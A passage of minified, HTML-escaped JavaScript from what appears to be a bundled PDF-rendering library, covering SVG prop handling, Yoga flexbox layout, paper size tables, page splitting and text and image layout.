&quot;),r=t[0]||&quot;xMidYMid&quot;,n=t[1]||&quot;meet&quot;;return{align:r,meetOrSlice:n}},M7e=[&quot;width&quot;,&quot;height&quot;,&quot;color&quot;,&quot;stroke&quot;,&quot;strokeWidth&quot;,&quot;opacity&quot;,&quot;fillOpacity&quot;,&quot;strokeOpacity&quot;,&quot;fill&quot;,&quot;fillRule&quot;,&quot;clipPath&quot;,&quot;offset&quot;,&quot;transform&quot;,&quot;strokeLinejoin&quot;,&quot;strokeLinecap&quot;,&quot;strokeDasharray&quot;,&quot;gradientUnits&quot;,&quot;gradientTransform&quot;],U7e=[&quot;y&quot;,&quot;y1&quot;,&quot;y2&quot;,&quot;height&quot;,&quot;cy&quot;,&quot;ry&quot;],z7e=[&quot;x&quot;,&quot;x1&quot;,&quot;x2&quot;,&quot;width&quot;,&quot;cx&quot;,&quot;rx&quot;],$7e=e=&gt;e.type===qm,EK=e=&gt;e.type===rr,H7e=e=&gt;e.type===Qg,q7e=e=&gt;t=&gt;oW(t,(r,n)=&gt;{const i=Po(r);return i&amp;&amp;U7e.includes(n)?i.percent*e.height:i&amp;&amp;z7e.includes(n)?i.percent*e.width:r}),E3=e=&gt;{const t=Po(e);return t?t.percent:Cs(e)},rF=e=&gt;t=&gt;wW(e,{transform:t}).transform,G7e=e=&gt;t=&gt;{let r=q7e(e)(t.props);return r=kE({x:Cs,x1:Cs,x2:Cs,y:Cs,y1:Cs,y2:Cs,r:Cs,rx:Cs,ry:Cs,cx:Cs,cy:Cs,width:Cs,height:Cs,offset:E3,fill:rv,opacity:E3,stroke:rv,stopOpacity:E3,stopColor:rv,transform:rF(e),gradientTransform:rF(e)},r),Object.assign({},t,{props:r})},V7e=e=&gt;{const t=e.style||{},r=Object.assign({},t,e.props);return Object.assign({},e,{props:r})},W7e=e=&gt;{const t=n=&gt;n===&quot;none&quot;?null:n,r=oW(e.props,t);return Object.assign({},e,{props:r})},K7e=e=&gt;{const t=e.props||{},r=u8(M7e,t),n=Object.assign({},r,e.style||{});return Object.assign({},e,{style:n})},Y7e=e=&gt;{const t=kE({width:Cs,height:Cs,viewBox:yK,preserveAspectRatio:L7e},e.props);return Object.assign({},e,{props:t})},Z7e=e=&gt;({type:ZS,props:{},style:{},children:[e]}),J7e=e=&gt;{if(!EK(e)||!e.children)return e;const t=n=&gt;H7e(n)?Z7e(n):n,r=e.children.map(t);return Object.assign({},e,{children:r})},CK=e=&gt;t=&gt;{if(EK(t))return S7e(e,t);if(!t.children)return t;const r=t.children.map(CK(e));return Object.assign({},t,{children:r})},X7e=e=&gt;Nc(G7e(e),J7e,W7e,V7e),IK=e=&gt;t=&gt;{if(!t.children)return t;const r=Nc(IK(e),X7e(e)),n=t.children.map(r);return Object.assign({},t,{children:n})},eTe=e=&gt;{const t={},r=e.children?.slice(0)||[];for(;r.length&gt;0;){const n=r.shift();n.props&amp;&amp;&quot;id&quot;in n.props&amp;&amp;(t[n.props.id]=n),n.children&amp;&amp;r.push(...n.children)}return t},jK=(e,t)=&gt;{if(e.props&amp;&amp;&quot;xlinkHref&quot;in e.props){const n=t[e.props.xlinkHref.replace(/^#/,&quot;&quot;)];if(!n)return e;const i=Object.assign({},n.props,e.props);return delete i.xlinkHref,Object.assign({},n,{props:i})}const r=e.children?.map(n=&gt;jK(n,t));return Object.assign({},e,{children:r})},tTe=e=&gt;{const t=eTe(e);return jK(e,t)},rTe=(e,t)=&gt;{const r=P7e(e);return Nc(R7e,CK(t),Y7e,K7e,wK,IK(r),tTe)(e)},NK=(e,t)=&gt;{if(!(&quot;children&quot;in e))return e;const r=s=&gt;NK(s,t),n=$7e(e)?rTe(e,t):e,i=n.children?.map(r);return Object.assign({},n,{children:i})};let nTe;const iTe=async()=&gt;{const e=await(nTe??=_De()),t=e.Config.create();return t.setPointScaleFactor(0),{node:{create:()=&gt;e.Node.createWithConfig(t)}}},aTe=async e=&gt;{const t=await iTe();return Object.assign({},e,{yoga:t})},nF=e=&gt;e.style.zIndex,sTe=e=&gt;e.type!==XS&amp;&amp;e.type!==qm,oTe=(e,t)=&gt;{const r=nF(e),n=nF(t);return!r&amp;&amp;!n?0:r?n?n-r:-1:1},SK=e=&gt;{if(!e.children)return e;const r=(sTe(e)?e.children.sort(oTe):e.children).map(SK);return Object.assign({},e,{children:r})},lTe=e=&gt;SK(e),Uf={},BK=DDe(),cTe=e=&gt;e!==&quot;️&quot;,iF=(e,t=!1)=&gt;Array.from(e).filter(t?()=&gt;!0:cTe).map(r=&gt;r.codePointAt(0).toString(16)).join(&quot;-&quot;),uTe=(e,t)=&gt;{if(&quot;builder&quot;in t)return t.builder(iF(e,t.withVariationSelectors));const{url:r,format:n=&quot;png&quot;,withVariationSelectors:i}=t;return`${r}${iF(e,i)}.${n}`},aF=(e,t)=&gt;{if(!t)return[];const r=[];return Array.from(e.matchAll(BK)).forEach(n=&gt;{const i=n[0];if(!Uf[i]||Uf[i].loading){const s=uTe(i,t);Uf[i]={loading:!0},r.push(gK({uri:s}).then(o=&gt;{Uf[i].loading=!1,Uf[i].data=o.data}).catch(o=&gt;{console.warn(o,&quot;Failed to load emoji image&quot;),Uf[i].loading=!1}))}}),r},dTe=e=&gt;{const t=[];for(let r=0;r&lt;e.length;r+=1){const n=e[r];let i=0;Array.from(n.string.matchAll(BK)).forEach(s=&gt;{const{index:o}=s,l=s[0],c=n.attributes.fontSize,d=n.string.slice(i,o+s[0].length);Uf[l]&amp;&amp;Uf[l].data?t.push({string:d.replace(s[0],&quot;￼&quot;),attributes:{...n.attributes,attachment:{width:c,height:c,yOffset:Math.floor(c*.1),image:Uf[l].data}}}):t.push({string:d,attributes:n.attributes}),i=o+l.length}),i&lt;n.string.length&amp;&amp;t.push({string:n.string.slice(i),attributes:n.attributes})}return t},fTe=e=&gt;{if(e.props.src)return e.props.src;if(e.props.source)return e.props.source},hTe=async e=&gt;{const t=typeof e==&quot;function&quot;?await e():await e;return typeof t==&quot;string&quot;?{uri:t}:t},mTe=async e=&gt;{const t=fTe(e),{cache:r}=e.props;if(!t){console.warn(!1,&#039;Image should receive either a &quot;src&quot; or &quot;source&quot; prop&#039;);return}try{const n=await hTe(t);if(!n)throw new Error(`Image&#039;s &quot;src&quot; or &quot;source&quot; prop returned ${n}`);if(e.image=await gK(n,{cache:r}),Buffer.isBuffer(n)||n instanceof Blob)return;e.image.key=&quot;data&quot;in n?n.data.toString():n.uri}catch(n){console.warn(n.message)}},pTe=e=&gt;e.type===Gm,gTe=(e,t)=&gt;{const r=[],n=t.children?.slice(0)||[],i=e?e.getEmojiSource():null;for(;n.length&gt;0;){const s=n.shift();if(pTe(s)&amp;&amp;r.push(mTe(s)),e&amp;&amp;s.style?.fontFamily){const o=BE(s.style.fontFamily);r.push(...o.map(l=&gt;e.load({fontFamily:l,fontStyle:s.style.fontStyle,fontWeight:s.style.fontWeight})))}typeof s==&quot;string&quot;&amp;&amp;r.push(...aF(s,i)),&quot;value&quot;in s&amp;&amp;typeof s.value==&quot;string&quot;&amp;&amp;r.push(...aF(s.value,i)),s.children&amp;&amp;s.children.forEach(o=&gt;{n.push(o)})}return r},sF=async(e,t)=&gt;{const r=gTe(t,e);return await Promise.all(r),e},ATe=e=&gt;e.type===KS,oF={color:&quot;blue&quot;,textDecoration:&quot;underline&quot;},xTe=(e,t)=&gt;{let r=[t.style];return ATe(t)&amp;&amp;(r=Array.isArray(t.style)?[oF,...t.style]:[oF,t.style]),wW(e,r)},kK=e=&gt;t=&gt;{const r=xTe(e,t);if(!t.children)return Object.assign({},t,{style:r});const n=t.children.map(kK(e));return Object.assign({},t,{style:r,children:n})},_K=e=&gt;{const t=e.props?.dpi||72,r=e.style,n=e.box?.width||r.width,i=e.box?.height||r.height,s=e.props?.orientation||&quot;portrait&quot;,o=r?.fontSize||18;return kK({width:n,height:i,orientation:s,dpi:t,remBase:o})(e)},vTe=e=&gt;{if(!e.children)return e;const t=e.children.map(_K);return Object.assign({},e,{children:t})},lF=e=&gt;t=&gt;Oa(t.style?.[e])?&quot;50%&quot;:t.style?.[e]??null,yTe=e=&gt;{if(!e.box)return null;const{left:t,top:r,width:n,height:i}=e.box,s=lF(&quot;transformOriginX&quot;)(e),o=lF(&quot;transformOriginY&quot;)(e),l=Po(s),c=Po(o),d=l?n*l.percent:s,u=c?i*c.percent:o;if(Oa(d)||typeof d==&quot;string&quot;)throw new Error(`Invalid origin offsetX: ${d}`);if(Oa(u)||typeof u==&quot;string&quot;)throw new Error(`Invalid origin offsetY: ${u}`);return{left:t+d,top:r+u}},DK=e=&gt;{const t=yTe(e),r=Object.assign({},e,{origin:t});if(!e.children)return r;const n=e.children.map(DK);return Object.assign({},r,{children:n})},bTe=e=&gt;{if(!e.children)return e;const t=e.children.map(DK);return Object.assign({},e,{children:t})},wTe=e=&gt;typeof e==&quot;string&quot;?{title:e,fit:!1,expanded:!1}:e,ETe=e=&gt;{let t=0;const n=(e.children||[]).slice(0).map(i=&gt;({value:i,parent:null}));for(;n.length&gt;0;){const i=n.shift();if(!i)break;const s=i.value;let o=i.parent;if(s.props&amp;&amp;&quot;bookmark&quot;in s.props&amp;&amp;s.props.bookmark){const l=wTe(s.props.bookmark),d={ref:t++,parent:o?.ref,...l};s.props.bookmark=d,o=d}s.children&amp;&amp;s.children.forEach(l=&gt;{n.push({value:l,parent:o})})}return e},CTe=[&quot;portrait&quot;,&quot;landscape&quot;],ITe=e=&gt;{const t=e.props?.orientation||&quot;portrait&quot;;return CTe.includes(t)?t:&quot;portrait&quot;},jTe=e=&gt;ITe(e)===&quot;landscape&quot;,NTe={&quot;4A0&quot;:[4767.87,6740.79],&quot;2A0&quot;:[3370.39,4767.87],A0:[2383.94,3370.39],A1:[1683.78,2383.94],A2:[1190.55,1683.78],A3:[841.89,1190.55],A4:[595.28,841.89],A5:[419.53,595.28],A6:[297.64,419.53],A7:[209.76,297.64],A8:[147.4,209.76],A9:[104.88,147.4],A10:[73.7,104.88],B0:[2834.65,4008.19],B1:[2004.09,2834.65],B2:[1417.32,2004.09],B3:[1000.63,1417.32],B4:[708.66,1000.63],B5:[498.9,708.66],B6:[354.33,498.9],B7:[249.45,354.33],B8:[175.75,249.45],B9:[124.72,175.75],B10:[87.87,124.72],C0:[2599.37,3676.54],C1:[1836.85,2599.37],C2:[1298.27,1836.85],C3:[918.43,1298.27],C4:[649.13,918.43],C5:[459.21,649.13],C6:[323.15,459.21],C7:[229.61,323.15],C8:[161.57,229.61],C9:[113.39,161.57],C10:[79.37,113.39],RA0:[2437.8,3458.27],RA1:[1729.13,2437.8],RA2:[1218.9,1729.13],RA3:[864.57,1218.9],RA4:[609.45,864.57],SRA0:[2551.18,3628.35],SRA1:[1814.17,2551.18],SRA2:[1275.59,1814.17],SRA3:[907.09,1275.59],SRA4:[637.8,907.09],EXECUTIVE:[521.86,756],FOLIO:[612,936],LEGAL:[612,1008],LETTER:[612,792],TABLOID:[792,1224],ID1:[153,243]},STe=e=&gt;{if(typeof e==&quot;number&quot;)return{value:e,unit:void 0};const t=/^(-?\d*\.?\d+)(in|mm|cm|pt|px)?$/g.exec(e);return t?{value:parseFloat(t[1]),unit:t[2]||&quot;pt&quot;}:{value:e,unit:void 0}},cF=(e,t)=&gt;{if(!e)return 0;const r=STe(e),n=72,i=1/25.4*n,s=1/2.54*n;if(typeof r.value==&quot;string&quot;)throw new Error(`Invalid page size: ${e}`);switch(r.unit){case&quot;in&quot;:return r.value*n;case&quot;mm&quot;:return r.value*i;case&quot;cm&quot;:return r.value*s;case&quot;px&quot;:return Math.round(r.value*(n/t));default:return r.value}},C3=({width:e,height:t},r)=&gt;({width:cF(e,r),height:cF(t,r)}),j8=e=&gt;({width:e[0],height:e[1]}),BTe=e=&gt;({width:e.height,height:e.width}),kTe=e=&gt;j8(NTe[e.toUpperCase()]),_Te=e=&gt;j8([e,e]),DTe=e=&gt;{const t=e.props?.size||&quot;A4&quot;,r=e.props?.dpi||72;let n;return typeof t==&quot;string&quot;?n=kTe(t):Array.isArray(t)?n=C3(j8(t),r):typeof t==&quot;number&quot;?n=C3(_Te(t),r):n=C3(t,r),jTe(e)?BTe(n):n},TTe=e=&gt;{const t=DTe(e),r=p8(e.style||{});return{...e,style:{...r,...t}}},RTe=e=&gt;{if(!e.children)return e;const t=e.children.map(TTe);return Object.assign({},e,{children:t})},qw=e=&gt;e.props&amp;&amp;&quot;fixed&quot;in e.props?e.props.fixed===!0:!1,PTe=(e,t)=&gt;{let r=0;if(!e.lines)return 0;for(let n=0;n&lt;e.lines.length;n+=1){const i=e.lines[n];if(r+i.box.height&gt;t)return n;r+=i.box.height}return e.lines.length},QTe=(e,t)=&gt;{let r=0;if(!e.lines)return r;for(let n=0;n&lt;t;n+=1){const i=e.lines[n];if(!i)break;r+=i.box.height}return r},FTe=(e,t)=&gt;{const r=e.box?.top||0,n=e.props.widows||2,i=e.props.orphans||2,s=e.lines.length,o=PTe(e,t-r);return o===0?0:s&lt;i?s:o&lt;i||s&lt;i+n?0:s===i+n?i:s-o&lt;n?s-n:o},OTe=(e,t)=&gt;{const r=FTe(e,t),n=QTe(e,r),i=e.box.height-n,s=Object.assign({},e,{box:{...e.box,height:n,borderBottomWidth:0},style:{...e.style,marginBottom:0,paddingBottom:0,borderBottomWidth:0,borderBottomLeftRadius:0,borderBottomRightRadius:0},lines:e.lines.slice(0,r)}),o=Object.assign({},e,{box:{...e.box,top:0,height:i,borderTopWidth:0},style:{...e.style,marginTop:0,paddingTop:0,borderTopWidth:0,borderTopLeftRadius:0,borderTopRightRadius:0},lines:e.lines.slice(r)});return[s,o]},LTe=e=&gt;e.box?.top||0,MTe=e=&gt;!Oa(e.style?.height),UTe=(e,t)=&gt;{if(!e)return[null,null];const r=LTe(e),n=Object.assign({},e,{box:{...e.box,borderBottomWidth:0},style:{...e.style,marginBottom:0,paddingBottom:0,borderBottomWidth:0,borderBottomLeftRadius:0,borderBottomRightRadius:0}});n.style.height=t-r;const i=MTe(e)?e.box.height-(t-r):null,s=Object.assign({},e,{box:{...e.box,top:0,borderTopWidth:0},style:{...e.style,marginTop:0,paddingTop:0,borderTopWidth:0,borderTopLeftRadius:0,borderTopRightRadius:0}});return i&amp;&amp;(s.style.height=i),[n,s]},zTe=[qm,YS,Gm,JS],TK=e=&gt;zTe.includes(e.type)?!1:e.props&amp;&amp;&quot;wrap&quot;in e.props?e.props.wrap:!0,_b=(e,t)=&gt;{const{yogaNode:r}=e;return r?r.getComputedPadding(t):null},zy=e=&gt;{const{style:t,box:r}=e,n=_b(e,Xn.Top)||r?.paddingTop||t?.paddingTop||0,i=_b(e,Xn.Right)||r?.paddingRight||t?.paddingRight||0,s=_b(e,Xn.Bottom)||r?.paddingBottom||t?.paddingBottom||0,o=_b(e,Xn.Left)||r?.paddingLeft||t?.paddingLeft||0;return{paddingTop:n,paddingRight:i,paddingBottom:s,paddingLeft:o}},$Te=e=&gt;{const t=e.style?.height,{paddingBottom:r}=zy(e);return t-r},HTe=e=&gt;{const t=e.style?.height,{paddingTop:r,paddingBottom:n}=zy(e);return t-n-r},uF=e=&gt;typeof e==&quot;string&quot;,qTe=e=&gt;typeof e==&quot;number&quot;,GTe=e=&gt;typeof e==&quot;boolean&quot;,VTe=e=&gt;e&amp;&amp;e.type===Symbol.for(&quot;react.fragment&quot;),Ux=e=&gt;{if(!e)return[];if(Array.isArray(e))return e.reduce((o,l)=&gt;o.concat(Ux(l)),[]);if(GTe(e))return[];if(uF(e)||qTe(e))return[{type:Qg,value:`${e}`}];if(VTe(e))return Ux(e.props.children);if(!uF(e.type))return Ux(e.type(e.props));const{type:t,props:{style:r={},children:n,...i}}=e,s=BE(n).reduce((o,l)=&gt;o.concat(Ux(l)),[]);return[{type:t,style:r,props:i,children:s}]},WTe=e=&gt;&quot;break&quot;in e.props?e.props.break:!1,KTe=e=&gt;&quot;minPresenceAhead&quot;in e.props?e.props.minPresenceAhead:0,YTe=e=&gt;Math.max(...e.map(t=&gt;t.box.top+t.box.height)),ZTe=e=&gt;e.box.top+e.box.height+e.box.marginBottom+KTe(e),JTe=(e,t)=&gt;{const r=ZTe(e),n=YTe(t.filter(i=&gt;!(&quot;fixed&quot;in i.props)));return Math.min(r,n)},XTe=(e,t,r,n)=&gt;{if(&quot;fixed&quot;in e.props)return!1;const i=r&lt;e.box.top+e.box.height,s=TK(e),o=JTe(e,t),l=n.filter(c=&gt;!qw(c)).length&gt;0;return WTe(e)||i&amp;&amp;!s||!i&amp;&amp;o&gt;r&amp;&amp;l},e9e=[8232,8233],t9e=e=&gt;e9e.reduce((t,r)=&gt;e&amp;&amp;e.hasGlyphForCodePoint&amp;&amp;e.hasGlyphForCodePoint(r)?t:[...t,String.fromCharCode(r)],[]),r9e=e=&gt;e.map(t=&gt;{const r=t9e(t.attributes.font[0]),n=new RegExp(r.join(&quot;|&quot;));return{string:t.string.replace(n,&quot;&quot;),attributes:t.attributes}}),dF=[r9e,dTe],n9e=e=&gt;e.type===Gm,i9e=e=&gt;e.type===Qg,RK=(e,t,r=null,n=0)=&gt;{if(!t)return[{string:&quot;&quot;}];let i=[];const{color:s=&quot;black&quot;,direction:o=&quot;ltr&quot;,fontFamily:l=&quot;Helvetica&quot;,fontWeight:c,fontStyle:d,fontSize:u=18,textAlign:h,lineHeight:p,textDecoration:A,textDecorationColor:y,textDecorationStyle:v,textTransform:w,letterSpacing:j,textIndent:E,opacity:S,verticalAlign:_}=t.style,C=typeof l==&quot;string&quot;?[l]:[...l||[]];C.push(&quot;Helvetica&quot;);const Q=C.map(M=&gt;{const O={fontFamily:M,fontWeight:c,fontStyle:d};return e.getFont(O)?.data}),R=n===0?null:t.style.backgroundColor,T={font:Q,color:s,opacity:S,fontSize:u,lineHeight:p,direction:o,verticalAlign:_,backgroundColor:R,indent:E,characterSpacing:j,strikeStyle:v,underlineStyle:v,underline:A===&quot;underline&quot;||A===&quot;underline line-through&quot;||A===&quot;line-through underline&quot;,strike:A===&quot;line-through&quot;||A===&quot;underline line-through&quot;||A===&quot;line-through underline&quot;,strikeColor:y||s,underlineColor:y||s,link:r||t.props?.src||t.props?.href,align:h||(o===&quot;rtl&quot;?&quot;right&quot;:&quot;left&quot;)};for(let M=0;M&lt;t.children.length;M+=1){const O=t.children[M];n9e(O)?i.push({string:&quot;￼&quot;,attributes:{...T,attachment:{width:O.style.width||u,height:O.style.height||u,image:O.image.data}}}):i9e(O)?i.push({string:AK(O.value,w),attributes:T}):O&amp;&amp;i.push(...RK(e,O,T.link,n+1))}for(let M=0;M&lt;dF.length;M+=1){const O=dF[M];i=O(i)}return i},a9e=(e,t)=&gt;{const r=RK(e,t);return A8(r)},s9e={bidi:MW,linebreaker:UW,justification:HW,textDecoration:qW,scriptItemizer:GW,wordHyphenation:WW,fontSubstitution:KW},o9e=LW(s9e),l9e=e=&gt;e.style?.maxLines,c9e=e=&gt;e.style?.textOverflow,u9e=(e,t,r)=&gt;{const n=l9e(r),i=c9e(r);return{x:0,y:0,width:e,maxLines:n,height:t||1/0,truncateMode:i}},d9e=(e,t)=&gt;({hyphenationPenalty:t.props.hyphenationPenalty,shrinkWhitespaceFactor:{before:-.5,after:-.5},hyphenationCallback:t.props.hyphenationCallback||e?.getHyphenationCallback()||null}),r6=(e,t,r,n)=&gt;{const i=a9e(n,e),s=u9e(t,r,e),o=d9e(n,e);return o9e(i,s,o).reduce((c,d)=&gt;[...c,...d],[])},f9e=e=&gt;e.type===qm,PK=e=&gt;e.type===rr,h9e=e=&gt;!f9e(e)&amp;&amp;!PK(e),m9e=e=&gt;PK(e)&amp;&amp;!e.lines,N8=(e,t)=&gt;{if(m9e(e)){const r=e.box.width-(e.box.paddingRight+e.box.paddingLeft),n=e.box.height-(e.box.paddingTop+e.box.paddingBottom);e.lines=r6(e,r,n,t)}if(h9e(e)){if(!e.children)return e;const r=i=&gt;N8(i,t),n=e.children.map(r);return Object.assign({},e,{children:n})}return e},QK=[&quot;color&quot;,&quot;fontFamily&quot;,&quot;fontSize&quot;,&quot;fontStyle&quot;,&quot;fontWeight&quot;,&quot;letterSpacing&quot;,&quot;opacity&quot;,&quot;textDecoration&quot;,&quot;textTransform&quot;,&quot;lineHeight&quot;,&quot;textAlign&quot;,&quot;visibility&quot;,&quot;wordSpacing&quot;],p9e=[...QK,&quot;backgroundColor&quot;],FK=e=&gt;t=&gt;t.type===e,g9e=FK(qm),A9e=FK(rr),x9e=(e,t,r)=&gt;e===&quot;textDecoration&quot;?[r,t].filter(n=&gt;n&amp;&amp;n!==&quot;none&quot;).join(&quot; &quot;):t,v9e=(e,t)=&gt;{const r={...e};return Object.entries(t).forEach(([n,i])=&gt;{r[n]=x9e(n,i,e[n])}),r},y9e=e=&gt;t=&gt;{const r=v9e(e,t.style||{});return Object.assign({},t,{style:r})},S8=e=&gt;{if(g9e(e)||!(&quot;children&quot;in e))return e;const t=A9e(e)?p9e:QK,r=u8(t,e.style||{}),n=Nc(S8,y9e(r)),i=e.children.map(n);return Object.assign({},e,{children:i})},Db=(e,t)=&gt;{const{yogaNode:r}=e;return r?r.getComputedMargin(t):null},B8=e=&gt;{const{style:t,box:r}=e,n=Db(e,Xn.Top)||r?.marginTop||t?.marginTop||0,i=Db(e,Xn.Right)||r?.marginRight||t?.marginRight||0,s=Db(e,Xn.Bottom)||r?.marginBottom||t?.marginBottom||0,o=Db(e,Xn.Left)||r?.marginLeft||t?.marginLeft||0;return{marginTop:n,marginRight:i,marginBottom:s,marginLeft:o}},b9e=e=&gt;{const{yogaNode:t}=e;return{top:t?.getComputedTop()||0,right:t?.getComputedRight()||0,bottom:t?.getComputedBottom()||0,left:t?.getComputedLeft()||0}},w9e={width:0,height:0},E9e=e=&gt;{const{yogaNode:t}=e;return t?{width:t.getComputedWidth(),height:t.getComputedHeight()}:w9e},Tb=(e,t)=&gt;e?e.getComputedBorder(t):0,C9e=e=&gt;{const{yogaNode:t}=e;return{borderTopWidth:Tb(t,Xn.Top),borderRightWidth:Tb(t,Xn.Right),borderBottomWidth:Tb(t,Xn.Bottom),borderLeftWidth:Tb(t,Xn.Left)}},I9e=e=&gt;t=&gt;{const{yogaNode:r}=t;return r&amp;&amp;r.setDisplay(e===&quot;none&quot;?nv.None:nv.Flex),t},j9e={hidden:n1.Hidden,scroll:n1.Scroll},N9e=e=&gt;t=&gt;{const{yogaNode:r}=t;if(!Oa(e)&amp;&amp;r){const n=j9e[e]||n1.Visible;r.setOverflow(n)}return t},S9e={wrap:a1.Wrap,&quot;wrap-reverse&quot;:a1.WrapReverse},B9e=e=&gt;t=&gt;{const{yogaNode:r}=t;if(r){const n=S9e[e]||a1.NoWrap;r.setFlexWrap(n)}return t},pa=(e,t)=&gt;r=&gt;n=&gt;{const{yogaNode:i}=n;if(!Oa(r)&amp;&amp;i){const s=!Oa(t),o=`set${Qv(e)}`,l=`${o}Auto`,c=`${o}Percent`,d=Po(r);if(d&amp;&amp;!i[c])throw new Error(`You can&#039;t pass percentage values to ${e} property`);d?s?i[c]?.(t,d.value):i[c]?.(d.value):r===&quot;auto&quot;?s?i[l]?.(t):i[l]?.():s?i[o]?.(t,r):i[o]?.(r)}return n},k9e=e=&gt;t=&gt;pa(&quot;flexGrow&quot;)(e||0)(t),_9e=pa(&quot;flexBasis&quot;),D9e={&quot;flex-start&quot;:uo.FlexStart,center:uo.Center,&quot;flex-end&quot;:uo.FlexEnd,stretch:uo.Stretch,baseline:uo.Baseline,&quot;space-between&quot;:uo.SpaceBetween,&quot;space-around&quot;:uo.SpaceAround,&quot;space-evenly&quot;:uo.SpaceEvenly},k8=e=&gt;t=&gt;r=&gt;{const{yogaNode:n}=r,i=e===&quot;items&quot;?uo.Stretch:uo.Auto;if(n){const s=D9e[t]||i;n[`setAlign${Qv(e)}`](s)}return r},T9e=k8(&quot;self&quot;),R9e=k8(&quot;items&quot;),P9e=e=&gt;t=&gt;pa(&quot;flexShrink&quot;)(e||1)(t),Q9e=e=&gt;t=&gt;{const{yogaNode:r}=t;return!Oa(e)&amp;&amp;r&amp;&amp;r.setAspectRatio(e),t},F9e=k8(&quot;content&quot;),O9e={absolute:i1.Absolute,relative:i1.Relative,static:i1.Static},L9e=e=&gt;t=&gt;{const{yogaNode:r}=t;return!Oa(e)&amp;&amp;r&amp;&amp;r.setPositionType(O9e[e]),t},M9e={row:pm.Row,&quot;row-reverse&quot;:pm.RowReverse,&quot;column-reverse&quot;:pm.ColumnReverse},U9e=e=&gt;t=&gt;{const{yogaNode:r}=t;if(r){const n=M9e[e]||pm.Column;r.setFlexDirection(n)}return t},z9e={center:Zu.Center,&quot;flex-end&quot;:Zu.FlexEnd,&quot;space-between&quot;:Zu.SpaceBetween,&quot;space-around&quot;:Zu.SpaceAround,&quot;space-evenly&quot;:Zu.SpaceEvenly},$9e=e=&gt;t=&gt;{const{yogaNode:r}=t;if(!Oa(e)&amp;&amp;r){const n=z9e[e]||Zu.FlexStart;r.setJustifyContent(n)}return t},H9e=pa(&quot;margin&quot;,Xn.Top),q9e=pa(&quot;margin&quot;,Xn.Right),G9e=pa(&quot;margin&quot;,Xn.Bottom),V9e=pa(&quot;margin&quot;,Xn.Left),W9e=pa(&quot;padding&quot;,Xn.Top),K9e=pa(&quot;padding&quot;,Xn.Right),Y9e=pa(&quot;padding&quot;,Xn.Bottom),Z9e=pa(&quot;padding&quot;,Xn.Left),J9e=pa(&quot;border&quot;,Xn.Top),X9e=pa(&quot;border&quot;,Xn.Right),eRe=pa(&quot;border&quot;,Xn.Bottom),tRe=pa(&quot;border&quot;,Xn.Left),rRe=pa(&quot;position&quot;,Xn.Top),nRe=pa(&quot;position&quot;,Xn.Right),iRe=pa(&quot;position&quot;,Xn.Bottom),aRe=pa(&quot;position&quot;,Xn.Left),sRe=pa(&quot;width&quot;),oRe=pa(&quot;minWidth&quot;),lRe=pa(&quot;maxWidth&quot;),cRe=pa(&quot;height&quot;),uRe=pa(&quot;minHeight&quot;),dRe=pa(&quot;maxHeight&quot;),fRe=pa(&quot;gap&quot;,iv.Row),hRe=pa(&quot;gap&quot;,iv.Column),mRe=e=&gt;!e||typeof e==&quot;string&quot;?null:(e.maxX-e.minX)/(e.maxY-e.minY),pRe=(e,t)=&gt;(r,n,i,s)=&gt;{const o=mRe(t.props.viewBox)||1;return n===nl.Exactly||n===nl.AtMost?{width:r,height:r/o}:s===nl.Exactly?{width:i*o}:{}},fF=e=&gt;e.lines?Math.max(0,...e.lines.map(t=&gt;t.xAdvance)):0,hF=e=&gt;e.lines?e.lines.reduce((t,r)=&gt;t+r.box.height,0):-1,gRe={center:.5,right:1},ARe=(e,t,r)=&gt;(n,i,s)=&gt;{if(i===nl.Exactly)return t.lines||(t.lines=r6(t,n,s,r)),{height:hF(t),width:n};if(i===nl.AtMost){const o=gRe[t.style?.textAlign]||0;return t.lines||(t.lines=r6(t,n,s,r),t.alignOffset=(n-fF(t))*o),{height:hF(t),width:Math.min(n,fF(t))}}return{}},xRe=e=&gt;e.image?.data?e.image.width/e.image.height:1,OK=e=&gt;Oa(e.box?.height),vRe=10,yRe=(e,t)=&gt;(r,n,i,s)=&gt;{const o=xRe(t),l=B8(t),c=zy(e),d=OK(e)?1/0:(e.box?.height||0)-c.paddingTop-c.paddingBottom-l.marginTop-l.marginBottom-vRe;if(!t.image)return{width:0,height:0};if(n===nl.Exactly&amp;&amp;s===nl.Undefined){const u=r/o;return{height:Math.min(d,u)}}if(s===nl.Exactly&amp;&amp;(n===nl.AtMost||n===nl.Undefined))return{width:Math.min(i*o,r)};if(n===nl.Exactly&amp;&amp;s===nl.AtMost){const u=r/o;return{height:Math.min(i,d,u)}}return n===nl.AtMost&amp;&amp;s===nl.AtMost?o&gt;1?{width:r,height:Math.min(r/o,i)}:{height:i,width:Math.min(i*o,r)}:{height:i,width:r}},bRe=10,mF=e=&gt;Math.max(-1/0,...e),wRe=()=&gt;{const e={},t=[],r=()=&gt;e,n=(c,d)=&gt;t.push([c,d]),i=(c,d)=&gt;(n(c,d),e),s=(c,d,u,h)=&gt;(n(c,d),n(c+u,d),n(c,d+h),n(c+u,d+h),e),o=(c,d,u,h)=&gt;(h=h||u,n(c-u,d-h),n(c+u,d-h),n(c+u,d+h),n(c-u,d+h),e),l=(...c)=&gt;(t.push(...c),e);return e.rect=s,e.moveTo=i,e.lineTo=i,e.circle=o,e.polygon=l,e.ellipse=o,e.roundedRect=s,e.text=r,e.path=r,e.lineWidth=r,e.bezierCurveTo=r,e.quadraticCurveTo=r,e.scale=r,e.rotate=r,e.translate=r,e.dash=r,e.clip=r,e.save=r,e.fill=r,e.font=r,e.stroke=r,e.lineCap=r,e.opacity=r,e.restore=r,e.lineJoin=r,e.fontSize=r,e.fillColor=r,e.miterLimit=r,e.strokeColor=r,e.fillOpacity=r,e.strokeOpacity=r,e.linearGradient=r,e.radialGradient=r,e.getWidth=()=&gt;mF(t.map(c=&gt;c[0])),e.getHeight=()=&gt;mF(t.map(c=&gt;c[1])),e},ERe=(e,t)=&gt;()=&gt;{const r=B8(t),n=zy(e),i=OK(e)?1/0:(e.box?.height||0)-n.paddingTop-n.paddingBottom-r.marginTop-r.marginBottom-bRe,s=wRe();t.props.paint(s);const o=s.getWidth(),l=Math.min(i,s.getHeight());return{width:o,height:l}},Gg=e=&gt;t=&gt;t.type===e,LK=Gg(qm),MK=Gg(rr),CRe=Gg(YS),IRe=Gg(H4),jRe=Gg(Gm),NRe=Gg(JS),SRe=Gg(Qg),BRe=e=&gt;{const t=IRe(e)?e.box?.height:e.style?.height;return 